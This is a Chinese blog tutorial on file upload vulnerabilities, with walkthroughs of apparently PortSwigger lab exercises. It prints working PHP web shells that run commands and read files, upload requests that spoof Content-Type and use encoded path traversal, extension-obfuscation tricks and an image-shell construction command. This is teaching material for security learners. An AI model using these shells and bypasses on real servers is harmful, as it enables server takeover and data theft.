一级必杀,防不胜防的漏洞,WEB安全基础入门—文件上传漏洞_practitioner remote code execution via polyglot we

img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上大数据知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

需要这份系统化资料的朋友,可以戳这里获取

	- [4. 对文件内容验证的缺陷](#4__136)
	- [5. 利用条件竞争上传文件](#5__161)
+ [6. 在无法执行远程代码的情况下利用文件上载漏洞](#6___175)
+ [7. 通过PUT方法上传文件](#7_PUT_180)
+ [8. 漏洞实例](#8__190)
+ - [1. 上传Web shell远程代码执行([Remote code execution via web shell upload](https://bbs.csdn.net/forums/4f45ff00ff254613a03fab5e56a57acb))](#1_Web_shellRemote_code_execution_via_web_shell_uploadhttpsportswiggernetwebsecurityfileuploadlabfileuploadremotecodeexecutionviawebshellupload_191)
	- [2. 通过绕过内容类型限制上载Web shell([Web shell upload via Content-Type restriction bypass](https://bbs.csdn.net/forums/4f45ff00ff254613a03fab5e56a57acb))](#2_Web_shellWeb_shell_upload_via_ContentType_restriction_bypasshttpsportswiggernetwebsecurityfileuploadlabfileuploadwebshelluploadviacontenttyperestrictionbypass_204)
	- [3. 通过路径遍历漏洞上传Web shell([Web shell upload via path traversal](https://bbs.csdn.net/forums/4f45ff00ff254613a03fab5e56a57acb))](#3_Web_shellWeb_shell_upload_via_path_traversalhttpsportswiggernetwebsecurityfileuploadlabfileuploadwebshelluploadviapathtraversal_222)
	- [4. 绕过黑名单上传Web shell([Web shell upload via extension blacklist bypass](https://bbs.csdn.net/forums/4f45ff00ff254613a03fab5e56a57acb))](#4_Web_shellWeb_shell_upload_via_extension_blacklist_bypasshttpsportswiggernetwebsecurityfileuploadlabfileuploadwebshelluploadviaextensionblacklistbypass_250)
	- [5. 通过模糊文件扩展名上传Web shell([Web shell upload via obfuscated file extension](https://bbs.csdn.net/forums/4f45ff00ff254613a03fab5e56a57acb))](#5_Web_shellWeb_shell_upload_via_obfuscated_file_extensionhttpsportswiggernetwebsecurityfileuploadlabfileuploadwebshelluploadviaobfuscatedfileextension_279)
	- [6. 绕过内容检测上传web shell([Remote code execution via polyglot web shell upload](https://bbs.csdn.net/forums/4f45ff00ff254613a03fab5e56a57acb))](#6_web_shellRemote_code_execution_via_polyglot_web_shell_uploadhttpsportswiggernetwebsecurityfileuploadlabfileuploadremotecodeexecutionviapolyglotwebshellupload_289)
	- [7. 通过争用条件上传Web shell([Web shell upload via race condition](https://bbs.csdn.net/forums/4f45ff00ff254613a03fab5e56a57acb))](#7__Web_shellWeb_shell_upload_via_race_conditionhttpsportswiggernetwebsecurityfileuploadlabfileuploadwebshelluploadviaracecondition_305)

1. 什么是文件上传漏洞

文件上传漏洞指缺失或可绕过对拟上传文件的名字、类型、内容或大小进行验证。导致实际可上传恶意文件,如脚本或木马。造成远程命令执行、敏感信息泄露等危害。

  • 上传文件本身造成危害
  • 后续HTTP请求上传的文件,同时服务器端允许执行该类型脚本,从而造成危害。

2. 文件上传漏洞的影响

1.该漏洞可使用的必要条件
  • 对上传文件验证存在缺陷(文件名字、类型、内容或大小)
  • 上传后是否可知文件存储路径
  • 上传后服务器是否可执行该类型文件
2. 漏洞影响
  • 若后台允许执行某类型文件,可上传该类型的Web shell,尝试远程代码执行,拿下服务器权限。
  • 若后台对文件名验证有缺陷,可上传与重要文件名相同的文件,尝试覆盖原文件。
  • 若后台对文件大小验证有缺陷,可导致DoS攻击,造成大量磁盘空间消耗。

3. Web服务器对访问静态文件的常规处理

目前,网站大量使用动态页面,这些访问路径与实际的文件存储路径没有直接关系。但是对样式表(stylesheets)、图片等类型的静态资源访问,路径还是一样。
服务器从请求中识别出文件后缀类型。将扩展名和MIME与预制好的文件类型白名单(或黑名单)进行比对。命中名单后,执行不同的操作,大致分为三类:

  • 白名单设定文件类型不可执行,如图片、HTML页面。服务器将文件内容放到响应中返回。
  • 白名单设定文件类型可执行,同时实际服务器配置也可执行,如PHP文件。服务器解析请求中的请求头、请求参数,传入脚本运行。将运行结果放到响应中返回。
  • 白名单设定文件类型可执行,但服务器配置不满足。服务器会产生错误响应。有时错误响应存在源代码泄露等情况

在响应头中,Content-Type会提供服务器支持的文件类型。如没有该头部,则应用使用文件扩展名MIME类型映射表。

4. 利用文件上传来部署Web shell

最好的情况是,网站允许上传任意脚本,如PHP\JAVA\PYTHON文件,并且被当做代码执行。这种情况下,可制作Web shell进行上传攻击。

Web shell是一种恶意脚本,上传后,攻击者只需向设定好的端点(通常是该文件存储位置)发送HTTP请求,即可在远程Web服务器上执行任意命令。

若能成功上传Web shell,则意味着已拥有对服务器的完全控制。可以读写任意文件、窃取敏感数据,甚至使用服务器转移针对内部基础设施和网络外部其他服务器的攻击。举例如下

<?php echo file_get_contents('/path/to/target/file'); ?>

上传后,对此文件存储位置发送请求,将在响应中返回目标文件的内容。

<?php echo system($_GET['command']); ?>
通过参数调用使用该shell
GET /example/exploit.php?command=id HTTP/1.1

例题 1

5. 上传漏洞利用

1. 有缺陷的文件类型验证

一般HTML表格,采用post数据包,文件格式application/x-www-form-url-encoded即可。但是如有图片或PDF等需二进制传送的内容,文件格式使用multipart/form-data
在一个表单中包括上传头像照片、个人描述、用户名三部分内容,常规数据包如下:

POST /images HTTP/1.1
Host: normal-website.com
Content-Length: 12345
Content-Type: multipart/form-data; boundary=---------------------------012345678901234567890123456

---------------------------012345678901234567890123456
Content-Disposition: form-data; name="image"; filename="example.jpg"
Content-Type: image/jpeg                         (头像照片)

[...binary content of example.jpg...]

---------------------------012345678901234567890123456
Content-Disposition: form-data; name="description"   (个人描述)

This is an interesting description of my image.

---------------------------012345678901234567890123456
Content-Disposition: form-data; name="username"      (用户名)

wiener
---------------------------012345678901234567890123456--

如网站验证特定类型文件时,若仅验证Content-Type,我们可拦截数据包,直接修改该值即可绕过验证。

例题2

2. 阻止用户在可访问的目录中执行文件

在上述第1道验证文件类型的防线后,网站往往还采取禁止用户在访问到的文件上传路径区域执行任何脚本的限制。
往往在配置中将此区域能执行的脚本,直接规定出来。并对其他脚本的请求,返回错误信息。有时错误信息是将恶意脚本内容直接返回。

GET /static/exploit.php?command=id HTTP/1.1
Host: normal-website.com


HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 39

<?php echo system($_GET['command']); ?>

后端对不同区域的限制往往不同,用户上传区域最为严格。攻击者若能将文件上传至其他防护宽松的路径处,可能成功执行脚本。
数据请求包中字段multipart/form-datafilename往往决定文件名和影响存储路径。

例题 3

3. 文件类型验证采用黑名单的不足

如果采用黑名单形式来验证文件类型,黑名单会被各种方式绕过。例如黑名单写明禁止.php 类型,但是后缀改为,.php3.php4.php5.phtml.php可绕过黑名单,文件一样会被当做PHP来执行。

  • 恶意覆盖服务器配置

一般服务器是根据配置文件,来决定什么类型的文件可被执行。例如在linux上的apache配置文件/etc/apache2/apache2.conf中,设置PHP为可执行文件。

LoadModule php_module /usr/lib/apache2/modules/libphp.so
AddType application/x-httpd-php .php

或者

<FilesMatch "lx1">   //文件名包含"lx1"的文件可按PHP文件执行
SetHandler application/x-httpd-php
</FilesMatch>

在一个目录中有配置文件.htaccess存在。则服务器在该目录下,优先于全局配置,执行此配置文件设置。
**在Windows上的IIS服务,**文件web.config配置如下命令,可允许向用户返回json文件。

<staticContent>
    <mimeMap fileExtension=".json" mimeType="application/json" />
</staticContent>

攻击者编制配置文件,使定制的后缀名映射到服务器可执行文件,然后尝试上传该文件(部分网站可上传),覆盖掉服务器原文件。

例题 4

  • 扩展名模糊绕混淆过技巧
    • 大小写混淆.pHp
    • 多重扩展名 .php.jpg
    • 多重.绕过 .php.
    • .URL编码绕过 exploit%2Ephp
    • 分号或URL编码空字符绕过 .asp;.jpg .asp%00.jpg
    • 多字节Unicode字符绕过 xC0 x2E xC4 xAE xC0 xAE可能均会转化为x2E
    • 复写扩展名 .p.phphp 中部的.php被过滤掉,剩余的字符串依然组成.php

例题 5

4. 对文件内容验证的缺陷

除了对文件扩展名进行检测外,一些防护较好的服务器还对文件内容进行检测。检测的方式有多种。

  • 对字段类型检测Content-Type
  • 对文件开头和结尾的十六进制数检测

在这里插入图片描述

  • 对特定类型文件的固有属性进行检测,如图片一定有尺寸大小的属性。可采取图片马方式绕过。

图片马的绕过方式主要是4种,但核心是一样的。将攻击荷载加载进图片文件中,满足类型检测、文件开头或结尾十六进制检测、特定类型文件固有属性检测。

  1. 文本方式打开正常图片,在末尾粘结一句话木马(会有一定概率失败,一句话木马被破坏)
  2. 准备一个正常图片1.jpg,一个木马文件2.php。生成目标图片马3.jpg

cmd中执行命令: copy 1.jpg/b+2.php 3.jpg

  1. 16进制打开图片在末尾添加一句话木马
  2. 使用工具ExifTool制作图片马Github下载地址

除了上述方式外,还需要一个必须条件,服务器存在类似任意文件包含漏洞,导致可执行jpg等图片文件(图片马)。

方法4 工具ExifTool 可直接将图片马变为.php直接上传,只要服务器能执行php文件即可。

例题 6

5. 利用条件竞争上传文件

目前流行的主流框架,对上述攻击都有有效防御。通常是将刚刚上传的文件临时迁移到类似于沙箱环境路径下,并修改为随机文件名(避免覆盖和路径预测)。一旦文件进入沙箱环境将很难进行下一步攻击测试。
但是这种处理方式往往是在框架外,采用独立的流程进行处理。 这不仅相当复杂,而且还可能引入危险的争用条件,使攻击者能够完全绕过所有验证。
举例来说, 有些网站文件上传后,会将文件移至沙箱,用于检测病毒或恶意软件,并将源上传文件删除。但这个转义存储和删除源文件的过程需要几毫秒。这极短的时间,攻击者可以配合工具尝试进行利用(工具:Burp Turbo 扩展)。

条件竞争漏洞利用非常巧妙,也非常有难度。往往需要事先获取部分源码,通过源代码审计发现疑似利用点,并经大量测试才能成功。

例题 7

  • 基于URL的条件竞争

服务器必须通过互联网获取文件并创建本地副本,然后才能执行任何验证。
由于文件是使用HTTP加载的,因此开发人员无法使用框架机制来安全地验证文件。只能手动创建自己的进程来临时存储和验证文件,产生随机名称存放在临时目录中。
如果随机目录名是使用伪随机函数(如PHP的uniqid())生成的,则可用暴力破解测试的。
要想利用,可以尝试延长处理文件所需的时间,从而延长暴力破解目录的时间窗口。做到这一点的一种方法是上传一个非常大的文件来延长传输处理时间。如果它是分块处理的,该恶意文件的开头带有有效负载,后可跟大量的任意填充字节。

6. 在无法执行远程代码的情况下利用文件上载漏洞

尽管无法在服务器上执行脚本,但可以上载客户端攻击的脚本。例如,可以上传HTML文件或SVG图像,可以使用

需考虑同源策略的限制

7. 通过PUT方法上传文件

一些Web服务器可能被配置为支持PUT请求。如果没有适当的防御措施,这就成为一种上传恶意文件的替代方法,即使在网络界面上没有上传功能时也是如此。  

PUT /images/exploit.php HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-httpd-php
Content-Length: 49

<?php echo file_get_contents('/path/to/file'); ?>

8. 漏洞实例

1. 上传Web shell远程代码执行(Remote code execution via web shell upload
  • 目标

利用基础PHP web shell读取文件/home/carlos/secret内容
测试账号wiener:peter,该网站对上传无任何防护

  • 截图思路

本地制作php web shell 123.php
<?php echo file_get_contents('/home/carlos/secret'); ?>
再次刷新个人主页,发现数据包
GET /files/avatars/123.php HTTP/1.1响应内容为flag

2. 通过绕过内容类型限制上载Web shell(Web shell upload via Content-Type restriction bypass)
  • 目标

利用基础PHP web shell读取文件/home/carlos/secret内容
测试账号wiener:peter

  • 截图思路
    1. 登陆账号,正常上传图片测试流程,发现数据包POST /my-account/avatar
    2. 放到repeater模块,尝试上传web shell(与上题相同)。发现报错,信息显示文件格式不对,仅支持image/png image/jpg
    3. 尝试修改content-type字段,再次上传成功。
-----------------------------396512672126764604443828361850
Content-Disposition: form-data; name="avatar"; filename="123.php"
Content-Type: image/png

<?php echo file_get_contents('/home/carlos/secret'); ?>

3. 通过路径遍历漏洞上传Web shell(Web shell upload via path traversal
  • 目标

利用基础PHP web shell读取文件/home/carlos/secret内容
测试账号wiener:peter

  • 截图思路
    1. 关键不同点,注意filename=../123.php。观察回复,发现…/被过滤
-----------------------------28360212211975207492478525821
Content-Disposition: form-data; name="avatar"; filename="../123.php"
Content-Type: text/php

The file avatars/123.php has been uploaded.<p>

  1. 尝试URL编码/可否绕过过滤
-----------------------------28360212211975207492478525821
Content-Disposition: form-data; name="avatar"; filename="..%2f123.php"
Content-Type: text/php

The file avatars/../123.php has been uploaded.<p>


![img](https://img-blog.csdnimg.cn/img_convert/e1aa3fc63ce0690e67623c696880f5f6.png)
![img](https://img-blog.csdnimg.cn/img_convert/e94e930d3f71e2eb0eb80e2db734d0fe.png)

**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**[需要这份系统化资料的朋友,可以戳这里获取](https://bbs.csdn.net/forums/4f45ff00ff254613a03fab5e56a57acb)**


**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**

-data; name="avatar"; filename="..%2f123.php"
Content-Type: text/php

The file avatars/../123.php has been uploaded.<p>


[外链图片转存中...(img-r125nLN7-1715376647872)]
[外链图片转存中...(img-VNUjPjEU-1715376647872)]

**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**[需要这份系统化资料的朋友,可以戳这里获取](https://bbs.csdn.net/forums/4f45ff00ff254613a03fab5e56a57acb)**


**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**

  • 29
    点赞
  • 38
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值